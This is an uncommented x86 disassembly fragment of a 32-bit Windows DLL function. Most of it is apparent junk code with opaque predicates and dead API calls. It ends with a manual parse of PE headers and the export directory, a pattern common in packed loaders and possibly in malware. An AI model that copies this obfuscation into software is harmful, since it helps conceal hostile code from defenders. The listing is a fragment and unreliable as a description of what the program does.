cmp eax, dword [ebp - 0x658]
je 0x1003082a
mov dword [ebp - 0x9a0], 1
jmp 0x10030831
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x9a0]
add eax, dword [ebp - 0x64]
mov dword [ebp - 0x660], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x660]
mov dword [ebp + eax - 0xfd4], ecx
cmp dword [ebp - 0x660], 0xe9ab5c29
ja 0x1003086b
mov dword [ebp - 0xcbc], 1
jmp 0x10030872
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xcbc], eax
jle 0x10030889
mov dword [ebp - 0x668], 1
jmp 0x10030890
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jne 0x100308c7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xfd4], 0
jne 0x100308c7
mov eax, 0xee0cd979
test eax, eax
jne 0x100308c7
and dword [ebp - 0x9a8], 0
jmp 0x100308d1
mov dword [ebp - 0x9a8], 1
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x9a8], eax
jl 0x100308e8
mov dword [ebp - 0x670], 1
jmp 0x100308ef
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x670], eax
jne 0x10030906
mov dword [ebp - 0xb48], 1
jmp 0x1003090d
and dword [ebp - 0xb48], 0
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x12c0], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x12c4], eax
mov eax, dword [ebp - 0x64]
dec eax
je 0x100309a5
mov dword [ebp - 0x12cc], 4
mov dword [ebp - 0xf9c], 0xfffffffe
mov dword [ebp - 0x12d4], 0x79c90e69
mov dword [ebp - 0x12c], 0
jmp 0x1003096b
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xfffffffc
jg 0x10030997
mov dword [ebp - 0x678], 1
mov eax, dword [ebp - 0x678]
dec eax
mov dword [ebp - 0x678], eax
mov dword [ebp - 0xf9c], 0xfffffffb
jmp 0x1003095e
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x12c], eax
jmp 0x100309d2
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x1a0], 0
movzx eax, byte [ebp - 0x1a0]
test eax, eax
je 0x100309d2
push 0
push 0
push 0x9b2
call dword [sym.imp.USER32.dll_SetPropA]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xfd4]
mov dword [ebp - 0x12dc], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x94]
cmp ecx, dword [ebp + eax - 0xfd4]
jne 0x10030a04
mov dword [ebp - 0x9b0], 1
jmp 0x10030a0b
and dword [ebp - 0x9b0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9b0]
sub ecx, dword [ebp + eax - 0xfa4]
cmp ecx, dword [ebp - 0x64]
jg 0x10030a2f
mov dword [ebp - 0x680], 1
jmp 0x10030a36
and dword [ebp - 0x680], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xfd4]
add eax, dword [ebp - 0x680]
cmp eax, dword [ebp - 0x64]
jle 0x10030a5a
mov dword [ebp - 0xc18], 1
jmp 0x10030a61
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0xc18], eax
je 0x10030a7b
mov dword [ebp - 0x688], 1
jmp 0x10030a82
and dword [ebp - 0x688], 0
cmp dword [ebp - 0x688], 0xe341
jle 0x10030a9a
mov dword [ebp - 0x9b8], 1
jmp 0x10030aa1
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0x9b8]
sub eax, 0x5c25
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jl 0x10030c45
mov dword [ebp - 0x1048], 1
mov dword [ebp - 0x1178], 0x4a8a5a2d
mov dword [ebp - 0x1174], 0x4a8a5a2d
mov dword [ebp - 0x1170], 0x4a8a5a2d
mov dword [ebp - 0x116c], 0x4a8a5a2d
lea ecx, [ebp - 0x459]
call fcn.1001bb39
push eax
lea eax, [ebp - 0x1168]
push eax
lea eax, [ebp - 0x1178]
push eax
lea ecx, [ebp - 0x168c]
call fcn.1001bb3c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1490]
call fcn.1001ba8c
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x1028], 0
mov dword [ebp - 0x9c0], 0xfffffff8
mov dword [ebp - 0x1050], 0x69abc45
mov dword [ebp - 0x1020], 0xcd9e91b6
mov eax, dword [ebp - 0x1048]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jne 0x10030b7d
mov dword [ebp - 0x690], 1
jmp 0x10030b84
and dword [ebp - 0x690], 0
cmp dword [ebp - 0x9c0], 1
jl 0x10030b99
mov dword [ebp - 0xb50], 1
jmp 0x10030ba0
and dword [ebp - 0xb50], 0
mov eax, dword [ebp - 0x690]
cmp eax, dword [ebp - 0xb50]
jg 0x10030bba
mov dword [ebp - 0x698], 1
jmp 0x10030bc1
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0x1050], eax
mov esi, dword [ebp - 0x9c0]
mov edi, dword [ebp - 0x1028]
push 2
lea ecx, [ebp - 0x1490]
call fcn.1001bad7
imul edi, dword [eax]
cmp edi, esi
jle 0x10030bf9
mov dword [ebp - 0x6a0], 1
jmp 0x10030c00
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0x1020], eax
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x10030c34
push 0
push 0
push 0xde2
push 0x24ef
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1490]
call fcn.1001bab2
jmp 0x10030c64
mov byte [ebp - 0x19a], 0
movzx eax, byte [ebp - 0x19a]
test eax, eax
je 0x10030c64
push 0x17d4
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [ebp - 0x68]
movzx eax, byte [ebp + eax - 0x274]
inc eax
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x68]
movzx eax, byte [ebp + eax - 0x274]
mov ecx, dword [ebp - 0x68]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x68], eax
push 3
lea ecx, [ebp - 0x1224]
call fcn.1001ba30
mov dword [ebp - 4], 0x19
mov dword [ebp - 0xd58], 0x8ade19d2
mov dword [ebp - 0xd54], 0x8ade19d2
mov dword [ebp - 0xd50], 0x8ade19d2
mov dword [ebp - 0xd4c], 0x8ade19d2
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x3c8], 0
jmp 0x10030cea
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 3
jge 0x10030d09
push dword [ebp - 0x3c8]
lea ecx, [ebp - 0x1224]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x10030cdd
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xd58], 0
jmp 0x10030d34
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd58]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xd58], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd58], 3
jge 0x10030d62
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0xd58]
lea ecx, [ebp - 0x1224]
call fcn.1001bad7
mov dword [eax], 5
jmp 0x10030d1b
mov dword [ebp - 0x2fc], 0
jmp 0x10030d7b
cmp dword [ebp - 0x2fc], 0
jle 0x10030db3
mov byte [ebp - 0x171], 0
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x10030db1
push 0x1d1b
push 0
push 0x9d5
push 0
push 0
push 0x1db8
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x10030d6e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1224]
call fcn.1001bab2
jmp 0x100306da
mov dword [ebp - 0x378], 0xfffffff8
mov dword [ebp - 0x378], 0xfffffffb
jmp 0x10030dea
mov eax, dword [ebp - 0x378]
dec eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0xfffffff8
jle 0x10030f01
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x304], 0
jmp 0x10030e1a
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 4
jge 0x10030e36
mov eax, dword [ebp - 0x304]
mov dword [ebp + eax*4 - 0x1644], 6
jmp 0x10030e0d
mov dword [ebp - 0x3b0], 0xfffffff4
jmp 0x10030e4f
mov eax, dword [ebp - 0x3b0]
dec eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0xfffffff2
jl 0x10030efc
mov dword [ebp - 0xd68], 0
mov dword [ebp - 0xd64], 0
mov dword [ebp - 0xd60], 0
mov dword [ebp - 0xd5c], 0
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xd68], 0
jmp 0x10030eb2
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xd68]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xd68], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xd68], 3
jg 0x10030ef7
mov byte [ebp - 0x19b], 0
movzx eax, byte [ebp - 0x19b]
test eax, eax
je 0x10030edc
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xd68]
cmp dword [ebp + eax*4 - 0x1644], 0
je 0x10030ef5
jmp 0x10030e97
jmp 0x10030e97
jmp 0x10030e42
jmp 0x10030ddd
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x380]
movzx eax, byte [ebp + eax - 0x276]
movsx eax, byte [ebp + eax - 0x1040]
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ebp + ecx - 0x273]
and ecx, eax
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x380]
movzx eax, byte [ebp + eax - 0x276]
movsx eax, byte [ebp + eax - 0x1040]
mov edx, dword [ebp - 0x68]
movzx edx, byte [ebp + edx - 0x273]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x68]
movzx eax, byte [ebp + eax - 0x274]
mov byte [ebp + eax - 0x1040], dl
mov dword [ebp - 0x30c], 0
jmp 0x10030f7a
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 2
jge 0x10030f96
mov eax, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0x169c], 3
jmp 0x10030f6d
mov byte [ebp - 0x179], 0
movzx eax, byte [ebp - 0x179]
test eax, eax
je 0x10030fb2
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov byte [ebp - 0x19d], 0
movzx eax, byte [ebp - 0x19d]
test eax, eax
je 0x10030fca
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
and dword [ebp - 0x380], 0
jmp 0x100306da
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x1040], 0
mov dword [ebp - 0x30], 0xfff7
mov dword [ebp - 0x124], 0xb058efa9
push 1
lea ecx, [ebp - 0xd08]
call fcn.1001ba30
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x490], 1
mov dword [ebp - 0xf0], 0
jmp 0x1003102c
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jge 0x1003104e
push dword [ebp - 0xf0]
lea ecx, [ebp - 0xd08]
call fcn.1001bad7
mov dword [eax], 8
jmp 0x1003101f
mov dword [ebp - 0xf0], 0
jmp 0x10031067
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jge 0x10031083
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x428], 0x857617c0
jmp 0x1003105a
cmp dword [ebp - 0x30], 0
je 0x100311dc
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jl 0x100310a7
mov dword [ebp - 0xc70], 1
jmp 0x100310ae
and dword [ebp - 0xc70], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xc70], eax
jge 0x100310c5
mov dword [ebp - 0x6a8], 1
jmp 0x100310cc
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x6a8]
cmp eax, dword [ebp - 0x30]
jle 0x100310e6
mov dword [ebp - 0x9c8], 1
jmp 0x100310ed
and dword [ebp - 0x9c8], 0
cmp dword [ebp - 0x9c8], 0x8af8716b
ja 0x10031105
mov dword [ebp - 0x6b0], 1
jmp 0x1003110c
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x6b0], eax
je 0x10031123
mov dword [ebp - 0xb58], 1
jmp 0x1003112a
and dword [ebp - 0xb58], 0
cmp dword [ebp - 0xb58], 0
jne 0x1003113f
mov dword [ebp - 0x6b8], 1
jmp 0x10031146
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x124], eax
imul eax, dword [ebp - 0x124], 9
test eax, eax
jne 0x10031164
cmp dword [ebp - 0x30], 0
mov eax, 0x8aab5641
sub eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
jb 0x1003117d
mov dword [ebp - 0x9d0], 1
jmp 0x10031184
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x9d0], eax
jle 0x1003119b
mov dword [ebp - 0x6c0], 1
jmp 0x100311a2
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0xc20], eax
push 0
lea ecx, [ebp - 0xd08]
call fcn.1001bad7
mov ecx, dword [ebp - 0xc20]
mov dword [eax], ecx
cmp dword [ebp - 0xc20], 0
je 0x100311dc
mov dword [ebp - 0x6c8], 1
jmp 0x100311e3
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x6c8], eax
jge 0x100311fa
mov dword [ebp - 0x9d8], 1
jmp 0x10031201
and dword [ebp - 0x9d8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9d8]
mov dword [ebp + eax - 0x428], ecx
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x12e4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x428]
mov dword [ebp - 0x12ec], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x12f4], eax
push 0
lea ecx, [ebp - 0xd08]
call fcn.1001bad7
mov dword [ebp - 0x6d0], eax
push 0
lea ecx, [ebp - 0xd08]
call fcn.1001bad7
mov ecx, dword [ebp - 0x6d0]
mov eax, dword [eax]
mov dword [ecx], eax
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x428]
mov dword [ebp - 0xb60], eax
mov eax, dword [ebp - 0xb60]
mov ecx, dword [ebp - 0x6d0]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb60]
mov eax, dword [eax]
add eax, dword [ebp - 0x124]
neg eax
je 0x100312b9
push 0
lea ecx, [ebp - 0xd08]
call fcn.1001bad7
cmp dword [eax], 0
je 0x100312b9
mov dword [ebp - 0x6d8], 1
jmp 0x100312c0
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
jne 0x100312de
cmp dword [ebp - 0x490], 0
je 0x100312fc
push 0
lea ecx, [ebp - 0xd08]
call fcn.1001bad7
cmp dword [eax], 0
je 0x100312fc
mov dword [ebp - 0x9e0], 1
jmp 0x10031303
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x9e0]
jl 0x1003131d
mov dword [ebp - 0x6e0], 1
jmp 0x10031324
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x6e0], eax
jl 0x1003133e
mov dword [ebp - 0xcb4], 1
jmp 0x10031345
and dword [ebp - 0xcb4], 0
mov eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0xcb4]
jl 0x1003135f
mov dword [ebp - 0x6e8], 1
jmp 0x10031366
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x124], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd08]
call fcn.1001bab2
lea eax, [ebp - 0x1040]
push eax
lea ecx, [ebp - 0x16f4]
call fcn.10039b5e
mov dword [ebp - 0xf40], eax
mov eax, dword [ebp - 0xf40]
mov dword [ebp - 0xdd4], eax
mov dword [ebp - 4], 0x1b
mov edx, dword [ebp - 0x8b8]
mov ecx, dword [ebp - 0xdd4]
call fcn.100215c8
mov dword [0x106248e0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16f4]
call fcn.1001b8ce
mov dword [ebp - 0x1d8], 0xe8e56f9b
mov dword [ebp - 0xd88], 0x318d5816
mov dword [ebp - 0x21c], 0x5e53494a
mov dword [ebp - 0xfe8], 0x389
mov dword [ebp - 0xd90], 0xfffffffd
mov dword [ebp - 0x314], 0
jmp 0x1003141c
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 3
jge 0x10031438
mov eax, dword [ebp - 0x314]
mov dword [ebp + eax*4 - 0x15d8], 0x5ecce35a
jmp 0x1003140f
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0xd88], eax
mov eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x1d8]
jle 0x1003145e
mov dword [ebp - 0x9e8], 1
jmp 0x10031465
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x21c]
imul eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x9e8], eax
je 0x10031486
mov dword [ebp - 0x6f0], 1
jmp 0x1003148d
and dword [ebp - 0x6f0], 0
mov eax, dword [ebp - 0x6f0]
neg eax
cmp eax, dword [ebp - 0xfe8]
jle 0x100314a9
mov dword [ebp - 0xb68], 1
jmp 0x100314b0
and dword [ebp - 0xb68], 0
cmp dword [ebp - 0xb68], 0xfffffff6
jge 0x100314c5
mov dword [ebp - 0x6f8], 1
jmp 0x100314cc
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x21c]
imul eax, dword [ebp - 0x6f8]
cmp eax, 9
jne 0x100314ea
mov dword [ebp - 0x9f0], 1
jmp 0x100314f1
and dword [ebp - 0x9f0], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x9f0], eax
jl 0x1003150b
mov dword [ebp - 0x700], 1
jmp 0x10031512
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x700]
add eax, 0xffff
cmp eax, 0x32b7
jne 0x10031530
mov dword [ebp - 0xc28], 1
jmp 0x10031537
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0xc28], eax
je 0x10031551
mov dword [ebp - 0x430], 1
jmp 0x10031558
and dword [ebp - 0x430], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x430]
mov dword [ebp + eax - 0x15d8], ecx
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x430], eax
je 0x10031584
mov dword [ebp - 0x708], 1
jmp 0x1003158b
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x708], eax
je 0x100315a5
mov dword [ebp - 0x9f8], 1
jmp 0x100315ac
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x9f8]
sub eax, 5
imul eax, dword [ebp - 0x1d8]
add eax, 0xb99
mov dword [ebp - 0xd90], eax
and dword [ebp - 0x388], 0
jmp 0x100315dd
cmp dword [ebp - 0x388], 0xe
jae 0x1003181f
push 1
lea ecx, [ebp - 0xcf0]
call fcn.1001ba30
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x31c], 0x1265ab3e
mov dword [ebp - 0x1018], 0
mov dword [ebp - 0x3d8], 0
jmp 0x1003162b
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 1
jge 0x1003164d
push dword [ebp - 0x3d8]
lea ecx, [ebp - 0xcf0]
call fcn.1001bad7
mov dword [eax], 0xa439beb0
jmp 0x1003161e
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x1003166a
push 0x40d
call dword [sym.imp.GDI32.dll_EndDoc]
push 0
lea ecx, [ebp - 0xcf0]
call fcn.1001bad7
mov eax, dword [eax]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
sub eax, 4
je 0x100316bd
mov byte [ebp - 0x146], 0
movzx eax, byte [ebp - 0x146]
test eax, eax
je 0x100316b8
push 0x264d
push 0x1812
push 0x15e1
push 0x1c67
push 0
call dword [sym.imp.USER32.dll_SetRect]
jmp 0x100317fd
mov dword [ebp - 0xa4], 0x1ded6804
push 0
lea ecx, [ebp - 0xcf0]
call fcn.1001bad7
cmp dword [eax], 0
jne 0x1003172d
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xa4]
jle 0x100316f3
mov dword [ebp - 0x710], 1
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x31c], eax
mov esi, dword [ebp - 0x31c]
push 0
lea ecx, [ebp - 0xcf0]
call fcn.1001bad7
cmp esi, dword [eax]
jg 0x10031766
mov dword [ebp - 0xd8], 0x73838a1f
mov dword [ebp - 0x324], 0
jmp 0x10031842
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 3
jge 0x1003185e
mov eax, dword [ebp - 0x324]
mov dword [ebp + eax*4 - 0x14a0], 7
jmp 0x10031835
mov dword [ebp - 0xd8], 0
jmp 0x10031877
cmp dword [ebp - 0xd8], 2
jg 0x100318f0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x20c], 2
jmp 0x100318a3
cmp dword [ebp - 0x20c], 0
jl 0x100318c8
mov dword [ebp - 0xd8], 2
jmp 0x10031909
cmp dword [ebp - 0xd8], 0
jl 0x10031933
mov eax, dword [0x106248e0]
cmp eax, dword [ebp - 0x3dc]
je 0x10033dd2
mov eax, dword [0x106249f0]
cmp eax, dword [ebp - 0x3dc]
jne 0x10033dea
mov ecx, dword [ebp + 0xc]
call fcn.1001b217
push eax
push dword [ebp + 8]
call fcn.1002a5d0
pop ecx
pop ecx
jmp 0x10038969
mov dword [ebp - 0x114], 0x4fd3df75
mov dword [ebp - 0x8c0], 0xf7e
mov dword [ebp - 0xedc], 0x4727cad7
mov dword [ebp - 0xe58], 0x1d65f4e2
mov dword [ebp - 0x114], 0
jmp 0x10033e2b
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x12
jne 0x10033efe
mov dword [ebp - 0x488], 0x7a4bedcc
mov dword [ebp - 0xad0], 1
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x13a4], eax
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0xedc], eax
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0xad0], eax
mov eax, dword [ebp - 0xad0]
imul eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x488]
sub ecx, dword [ebp - 0x8c0]
imul ecx, eax
cmp ecx, 5
jb 0x10033e9d
mov dword [ebp - 0xc60], 1
jmp 0x10033ea4
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0x488]
imul eax, dword [ebp - 0xc60]
cmp eax, dword [ebp - 0x114]
jl 0x10033ec5
mov dword [ebp - 0x8c8], 1
jmp 0x10033ecc
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x8c8], eax
je 0x10033ee6
mov dword [ebp - 0xad8], 1
jmp 0x10033eed
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0xad8]
mov dword [ebp - 0xe58], eax
jmp 0x10033e1e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x1003840a
mov eax, dword [ebp - 0x27c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1003840a
mov dword [ebp - 0x8d0], 0xcc2
mov dword [ebp - 0xee4], 0x1000bdf8
cmp dword [ebp - 0x8d0], 0xff1
jle 0x10033fbf
and dword [ebp - 0x318], 0
jmp 0x10033f5e
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x771d
jge 0x10033fbf
and dword [ebp - 0x320], 0
jmp 0x10033f80
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0xf7
jge 0x10033fbd
mov eax, dword [ebp - 0x318]
and eax, dword [ebp - 0x320]
cdq
mov dword [ebp - 0xe3c], eax
mov dword [ebp - 0xe38], edx
push dword [ebp - 0xe38]
push dword [ebp - 0xe3c]
mov ecx, 0x106232b8
call fcn.1001b658
jmp 0x10033f73
jmp 0x10033f51
mov dword [ebp - 4], 0x31
cmp dword [ebp - 0x8d0], 0x960
jge 0x10033fe2
mov edx, dword [ebp - 0xee4]
mov ecx, 0x106232b8
call fcn.100201ca
jmp 0x10033ffe
or dword [ebp - 4], 0xffffffff
jmp 0x10034008
mov dword [ebp - 0xe64], 1
mov byte [ebp - 0x157], 0
movzx eax, byte [ebp - 0x157]
test eax, eax
je 0x10034032
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0xe64], 0
je 0x10034080
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x10034064
push 0x865
push 0x1cfb
push 0
push 0x2020
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov byte [ebp - 0x15b], 0
movzx eax, byte [ebp - 0x15b]
test eax, eax
je 0x1003407e
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1003409c
mov byte [ebp - 0x19f], 0
movzx eax, byte [ebp - 0x19f]
test eax, eax
je 0x1003409c
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x27c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x220], ecx
mov eax, dword [ebp - 0x220]
cmp dword [eax], 0x4550
jne 0x1003840a
mov eax, dword [ebp - 0x220]
cmp dword [eax + 0x74], 0
jbe 0x1003840a
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x220]
cmp dword [ecx + eax + 0x78], 0
je 0x1003840a
mov dword [ebp - 0xc4], 0x7b4bc66
mov dword [ebp - 0x120], 0xcf5aa05
mov dword [ebp - 0xc68], 0xffffffff
mov dword [ebp - 0x1d0], 0xcb314b81
mov dword [ebp - 0x102c], 1
mov dword [ebp - 0xeec], 0x4b693050
mov dword [ebp - 0xcc0], 0x20f30385
mov dword [ebp - 0x338], 0xc0105807
mov dword [ebp - 0xe78], 0xb5cf6354
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0xc4]
jge 0x10034165
mov dword [ebp - 0xbe0], 1
jmp 0x1003416c
and dword [ebp - 0xbe0], 0
mov eax, dword [ebp - 0xbe0]
sub eax, dword [ebp - 0xc4]
cmp eax, 1
jg 0x10034189
mov dword [ebp - 0x8d8], 1
jmp 0x10034190
and dword [ebp - 0x8d8], 0
cmp dword [ebp - 0x8d8], 0
jl 0x100341a5
mov dword [ebp - 0xae0], 1
jmp 0x100341ac
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xae0], eax
je 0x100341c6
mov dword [ebp - 0x8e0], 1
jmp 0x100341cd
and dword [ebp - 0x8e0], 0
cmp dword [ebp - 0x8e0], 0xffff
jae 0x100344aa
mov dword [ebp - 0x328], 0xcf79
mov dword [ebp - 0x458], 0x657e3b6f
mov dword [ebp - 0xbe8], 0x2522
mov dword [ebp - 0x1f8], 1
mov dword [ebp - 0xc4], 0
jmp 0x1003421e
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xa
jle 0x100344a8
mov dword [ebp - 0x13ac], 1
mov dword [ebp - 0xf60], 0
mov dword [ebp - 0xe80], 0x2f5a260d
mov dword [ebp - 0x13b4], 0x1c1d99ea
mov dword [ebp - 0xaf0], 2
push 2
lea ecx, [ebp - 0x123c]
call fcn.1001ba30
mov dword [ebp - 4], 0x33
mov dword [ebp - 0x280], 0
jmp 0x1003428a
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x100342ac
push dword [ebp - 0x280]
lea ecx, [ebp - 0x123c]
call fcn.1001bad7
